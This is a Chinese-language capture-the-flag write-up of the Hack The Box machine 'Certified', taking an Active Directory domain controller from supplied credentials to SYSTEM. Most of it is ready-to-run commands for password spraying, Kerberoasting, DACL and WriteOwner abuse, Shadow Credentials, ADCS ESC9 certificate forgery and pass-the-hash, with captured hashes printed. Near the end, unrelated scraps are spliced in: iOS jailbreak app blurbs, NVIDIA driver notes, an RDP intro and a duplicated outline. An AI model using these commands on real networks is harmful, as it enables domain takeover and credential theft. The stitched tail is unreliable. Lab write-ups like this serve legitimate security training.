HTB 靶机 Certified Write-up（Medium）_htb certified bug bounty exam solution pdf writeup

1.1 端口扫描与服务识别

首先，对目标主机 10.10.11.41 进行了全端口扫描。此举的目的是识别其开放的服务，从而评估潜在的入口点。
sudo nmap 10.10.11.41 -p- --min-rate=5000 -A

 图1: Nmap 扫描结果，显示了多个与域环境相关的特征端口 (例如 88, 135, 139, 445) 
扫描结果清晰地显示，多个与 Active Directory 域环境密切相关的端口（如 Kerberos 88, RPC 135, NetBIOS 139, SMB 445）均处于开放状态。基于这些信息，可以初步判断该主机是一台域控制器。 
1.2 初始凭据利用与域用户枚举
 
靶机环境提供了一组初始凭据：judith.mader/judith09。利用这组凭据，通过 LDAP 服务对域内用户进行了枚举，为后续的信息收集和攻击尝试奠定基础。 
netexec ldap 10.10.11.41 -u judith.mader -p judith09 --users

 图2: 通过 LDAP 枚举获取的域用户列表 
收集到的域用户列表如下，并已保存至 users.txt 文件： 
Administrator
judith.mader
management_svc
ca_operator
alexander.huges
harry.wilson
gregory.cameron
1.3 密码喷洒尝试
 
基于获取的用户列表和已知的初始密码 judith09，接着对 SMB 服务进行了一次密码喷洒攻击，试图发现是否存在其他用户复用此密码的情况。 
netexec smb 10.10.11.41 -u users.txt -p judith09

 图3: 密码喷洒尝试并未成功复用凭据 
此次密码喷洒未能获得新的有效凭据，表明其他用户并未简单复用该密码。 
1.4 SMB 共享枚举
 
继续使用 judith.mader 的凭据，对 SMB 共享进行了枚举，以探查可能存在的敏感文件或可利用的可写目录。 
netexec smb 10.10.11.41 -u judith.mader -p judith09 --shares

 图4: 枚举到的 SMB 共享列表，主要为标准的域控默认共享 
枚举结果显示了标准的域控制器共享（ADMIN $, IPC$, NETLOGON, SYSVOL），未发现特殊的或可疑的自定义共享资源。$  
1.5 Kerberos 相关攻击尝试
 
随后，将注意力转向 Kerberos 服务，尝试了常见的攻击手法，包括 AS-REP Roasting 和 Kerberoasting。 
impacket-GetNPUsers -dc-ip 10.10.11.41 -request -outputfile hashes.asreproast certified.htb/judith.mader:judith09
impacket-GetUserSPNs -request -dc-ip 10.10.11.41 -outputfile hashes.kerberoast certified.htb/judith.mader:judith09

 图5: 初次尝试 Kerberoasting 因时间同步问题失败，AS-REP Roasting 未发现可利用账户 
AS-REP Roasting 未找到配置了 “Do not require Kerberos preauthentication” 的用户。初次尝试 Kerberoasting 时，错误信息提示客户端与 KDC 之间可能存在时间同步问题。为解决此问题，与域控进行了时间同步： 
sudo ntpdate 10.10.11.41
时间同步后，再次执行 Kerberoasting 枚举，这次成功导出了用户 management_svc 的 TGS 服务票据哈希。 

 图6: 与域控同步时间后，成功导出 management_svc 的 TGS 票据哈希 
之后尝试使用 Hashcat 配合 rockyou.txt 字典和 best64.rule 规则来破解获取到的 Kerberos TGS 哈希，但未能成功破解出明文密码。 
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

 图7: Hashcat 破解 Kerberos TGS 哈希的尝试未取得成果 
二、ADCS 探查与 BloodHound 分析
 
在初步的 Kerberos 相关尝试未果后，调查方向转向了 Active Directory 证书服务 (ADCS)，这通常是寻找配置弱点和提权路径的关键区域。 
2.1 Active Directory 证书服务 (ADCS) 枚举
 
使用 certipy-ad 工具，以 judith.mader 用户的身份对 ADCS 进行了检查，目的是发现是否存在可被该用户直接利用的证书模板或配置漏洞。 
certipy-ad find -u 'judith.mader@certified.htb' -p 'judith09' -dc-ip '10.10.11.41' -vulnerable -text -enabled -hide-admins

 图8: Certipy-ad 的检查结果表明，用户 judith.mader 并无直接可利用的 ADCS 漏洞路径。 
扫描结果表明，当前用户 judith.mader 未能发现可直接利用的 ADCS 提权路径，这提示可能需要更复杂的权限链条。 
2.2 BloodHound 数据收集
 
鉴于手动枚举的局限性，决定采用 BloodHound 进行更深入的域内关系和权限分析。为此，使用了其 Python 采集器 bloodhound-ce-python 来收集必要的域信息。 
bloodhound-ce-python -c all -d certified.htb -u judith.mader -p judith09 -ns 10.10.11.41 -dc dc01.certified.htb --zip

 图9: 使用 bloodhound-ce-python 收集域信息，为 BloodHound 分析做准备。 
数据收集完成后，便将其导入 BloodHound 进行可视化分析。 
三、权限提升路径：judith.mader -> Management 组
 
3.1 分析 BloodHound 结果：WriteOwner 权限的发现
 
将收集到的数据导入 BloodHound 后，分析重点放在当前已控制用户 judith.mader 的“出站对象控制 (Outbound Object Control)”权限上。分析结果显示，judith.mader 对 Management 组拥有 WriteOwner 权限。 

 图10: BloodHound 清晰地展示了 judith.mader 对 Management 组的 WriteOwner 权限。 
这是一个关键的发现，因为 WriteOwner 权限允许将 judith.mader 设置为 Management 组的新所有者，从而为后续控制该组打开了通道。 
3.2 获取 Management 组成员权限
 
利用已发现的 WriteOwner 权限，通过以下三步将用户 judith.mader 添加到 Management 组： 
将 judith.mader 设置为 Management 组的所有者。
作为新的所有者，赋予 judith.mader 对该组的写成员权限 (WriteMembers)。
将 judith.mader 添加到 Management 组中。 
具体操作命令如下： 
impacket-owneredit -dc-ip 10.10.11.41 -action write -new-owner judith.mader -target management certified/judith.mader:judith09
impacket-dacledit -dc-ip 10.10.11.41 -action write -rights WriteMembers -principal judith.mader -target management certified/judith.mader:judith09
net rpc group addmem Management judith.mader -U certified/judith.mader%judith09 -S 10.10.11.41

 图11: 依次执行命令，设置所有者、赋予写成员权限并将 judith.mader 添加到 Management 组。 
为了确认操作成功，使用 net rpc group members 命令进行了验证： 
net rpc group members Management -U certified/judith.mader%judith09 -S 10.10.11.41

 图12: 确认 judith.mader 已成功加入 Management 组。 
此时，judith.mader 已成为 Management 组的一员，获得了该组所拥有的相应权限。 
四、横向移动：Management -> management_svc -> ca_operator
 
成为 Management 组成员后，再次借助 BloodHound 分析这一新身份带来的权限变化。 
4.1 利用 GenericWrite 实现 Shadow Credentials
 
BloodHound 的分析显示，Management 组的成员（现已包含 judith.mader）对用户 management_svc 拥有 GenericWrite 权限。 

 图13: BloodHound 揭示 Management 组对 management_svc 用户的 GenericWrite 权限。 
GenericWrite 权限允许修改目标用户的特定属性。此处选择利用 Shadow Credentials (影子凭据) 攻击，通过 certipy-ad 的 shadow auto 功能，为 management_svc 添加新的 msDS-KeyCredentialLink 属性，并直接获取其 NTLM 哈希。 
certipy-ad shadow auto -target certified.htb -dc-ip 10.10.11.41 -username judith.mader@certified -password judith09 -account management_svc

 图14: Certipy-ad shadow auto 成功为 management_svc 添加影子凭据并获取其 NTLM 哈希 a091c1832bcdd4677c28b5a6a1295584。 
成功获取 management_svc 的 NTLM 哈希后，即拥有了以该用户身份进行操作的能力。 
4.2 控制 ca_operator 用户
 
接下来，对 management_svc 用户的权限进行分析，发现其对用户 ca_operator 拥有 GenericAll (完全控制) 权限。 

 图15: BloodHound 显示 management_svc 对 ca_operator 用户拥有 GenericAll 权限。 
拥有 GenericAll 权限意味着可以对目标用户执行任意操作，包括重置密码。利用 bloodyAD 工具和 management_svc 的 NTLM 哈希，将 ca_operator 的密码重置为 summer123。 
bloodyAD -u 'management_svc' -p :a091c1832bcdd4677c28b5a6a1295584 -d certified.htb --host 10.10.11.41 set password 'ca_operator' 'summer123'

 图16: 使用 bloodyAD 成功将 ca_operator 的密码修改为 summer123。 
至此，ca_operator 用户的控制权也已收入囊中。 
五、域控权限获取：ESC9 与证书伪造
 
ca_operator 这个用户名强烈暗示其与证书颁发机构 (CA) 相关。获取该用户控制权后，立即着手调查是否存在可利用的 ADCS 漏洞。 
5.1 ADCS 漏洞利用 (ESC9)
 
使用 ca_operator 的新凭据 (ca_operator@certified.htb / summer123)，再次通过 certipy-ad find 检查 ADCS 配置，寻找可利用的漏洞。 
certipy-ad find -u 'ca_operator@certified.htb' -p 'summer123' -dc-ip 10.10.11.41 -vulnerable -enabled -text

 图17: Certipy-ad 发现 ca_operator 用户可利用的 ESC9 漏洞 (No Security Extension on Certificate Template)。 
结果显示存在一个 ESC9 漏洞，与名为 CertifiedAuthentication 的证书模板相关。此漏洞的核心在于：对证书模板拥有注册权限的用户（如此处的 ca_operator）可以请求证书，并且由于模板配置不当（缺少必要的安全扩展，如 CT_FLAG_NO_SECURITY_EXTENSION 未设置），攻击者可以通过在证书请求中指定一个备用主体名 (SAN) 来冒充其他用户，例如域管理员。利用方法可参考 Wiki。 

 图18: 证书枚举结果。 
5.2 修改 UPN 并请求证书
 
为了利用 ESC9 漏洞冒充域管理员，需要将 ca_operator 的 userPrincipalName (UPN) 属性临时修改为目标管理员账户的 UPN。由于此前已获得 management_svc 对 ca_operator 的 GenericAll 权限，因此可利用 management_svc 的凭据（NTLM 哈希）通过 certipy-ad account update 命令，将 ca_operator 的 UPN 修改为 administrator。 
certipy-ad account -username management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -upn 'administrator' -user 'ca_operator' -dc-ip 10.10.11.41 update

 图19: 成功将 ca_operator 的 UPN 修改为 ‘administrator’。 
UPN 修改完成后，便以 ca_operator (此时其 UPN 为 administrator，但实际认证主体仍为 ca_operator，密码为 summer123) 的身份，使用 CertifiedAuthentication 模板向 CA certified-DC01-CA 请求证书。 
certipy-ad -debug req -username ca_operator@certified.htb -p summer123 -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.10.11.41

 图20: 成功请求到包含 ‘administrator’ UPN 的证书，并保存为 administrator.pfx。 
此操作会生成一个 administrator.pfx 文件，该证书的备用主体名 (SAN) 中包含了 administrator 的 UPN，这是实现身份冒充的关键。 
5.3 恢复 UPN
 
在进行证书认证之前，一个非常重要的步骤是恢复 ca_operator 的原始 UPN (ca_operator@certified.htb)。这不仅是为了清除操作痕跡，也是确保后续利用成功的关键步骤。 
certipy-ad account -username management_svc@certified -hashes :a091c1832bcdd4677c28b5a6a1295584 -dc-ip '10.10.11.41' -upn 'ca_operator@certified.htb' -user 'ca_operator' update

 图21: 恢复 ca_operator 的原始 UPN。 
5.4 证书认证获取 NTLM Hash
 
现在，一切准备就绪。使用先前获取的 administrator.pfx 证书文件，以 administrator 的身份（通过证书中的 SAN 实现）通过 Kerberos PKINIT 协议进行认证，目的是获取其 NTLM 哈希。 
certipy-ad -debug auth -pfx administrator.pfx -username administrator -domain certified.htb -dc-ip 10.10.11.41

 图22: 通过证书认证，成功获取 Administrator 用户的 NTLM 哈希 0d5b49608bbce1751f708748f67e2d34。 
5.5 Pass-the-Hash 登录域控
 
最后一步，利用获取到的 Administrator NTLM 哈希 (0d5b49608bbce1751f708748f67e2d34)，通过 impacket-psexec 工具执行 Pass-the-Hash 攻击，成功获得了域控制器 10.10.11.41 的 SYSTEM 权限。 
impacket-psexec -hashes :0d5b49608bbce1751f708748f67e2d34 administrator@10.10.11.41

 图23: 使用 psexec 和 Administrator 的 NTLM 哈希，成功获取域控的 SYSTEM 权限。 
至此，完全拿到域控制器权限。 
六、环境说明与排错
 
在最初进行 ADCS 相关操作（特别是证书请求和认证环节）时，曾频繁遇到 KDC_ERR_PADATA_TYPE_NOSUPP (KDC has no support for padata type) 相关的 Kerberos 错误。 

 图24: 操作初期遇到的 Kerberos 异常问题。 
这个问题在后续通过其他途径获取到管理员凭据，并登录域控执行 gpupdate /force 强制刷新组策略后得到了解决。此后，ADCS 相关的操作恢复正常。这表明该错误可能源于靶机环境当时特定的组策略配置或 KDC 服务状态，而非攻击手法本身的问题。 
                                    轻松签+融入了巨魔的源码，拥有巨魔商店的永久签功能，不过需要用Fliza改权限，才能解锁完整版，教程有写。trollfools的著名二改版，比原版更直观，功能更强大，可以注入DEB，清理缓存。主打屏蔽越狱检测的半越狱引导工具，需要配合血清素，才能实现半越狱，操作繁琐，目前更推荐用NathanLR（越狱-02）。正在测试中的当红炸子鸡，可以实现APP快捷启动，分屏，集成了一些巨魔专属美化功能，正式版将免费开源。App Store多账号管理器，因使用量巨大，已经被苹果针对，现已无法正常使用，仅做纪念。
1、按照Quick Guide上所说，下载6.62的perfKit，这个是一个套装，内部包含了32位xp需要用到的NVidia需要的显卡驱动。如果是Vista或者是Win7，按照说明书上所说，不需要用到perfHUD这个安装包里的显卡驱动，也就是Win7等驱动本身就支持（官方驱动版本173及以后）。
2、本机显卡为ZOTAC Geforce GT220。
ps：答案已在文中标出
RDP 简介
RDP ( Remote Desktop Protocol [1] ) 远程桌面协议，是专门用于 Windows 远程桌面和远程协助连接的，比如我们可以通过它来连接自己的内网办公的机器，一般开放在 3389 端口上
日常扫描，上一篇的都还在，多了本次的 ms-wbt-server [7] 服务
┌──(root💀kali)-[~]
1.1 端口扫描与服务识别

1.2 初始凭据利用与域用户枚举

1.3 密码喷洒尝试

1.4 SMB 共享枚举

1.5 Kerberos 相关攻击尝试

二、ADCS 探查与 BloodHound 分析

2.1 Active Directory 证书服务 (ADCS) 枚举

2.2 BloodHound 数据收集

三、权限提升路径：judith.mader -> Management 组

3.1 分析 BloodHound 结果：`WriteOwner` 权限的发现

3.2 获取 Management 组成员权限

四、横向移动：Management -> management_svc -> ca_operator

4.1 利用 `GenericWrite` 实现 Shadow Credentials

4.2 控制 `ca_operator` 用户

五、域控权限获取：ESC9 与证书伪造

5.1 ADCS 漏洞利用 (ESC9)

5.2 修改 UPN 并请求证书

5.3 恢复 UPN

5.4 证书认证获取 NTLM Hash

5.5 Pass-the-Hash 登录域控

六、环境说明与排错
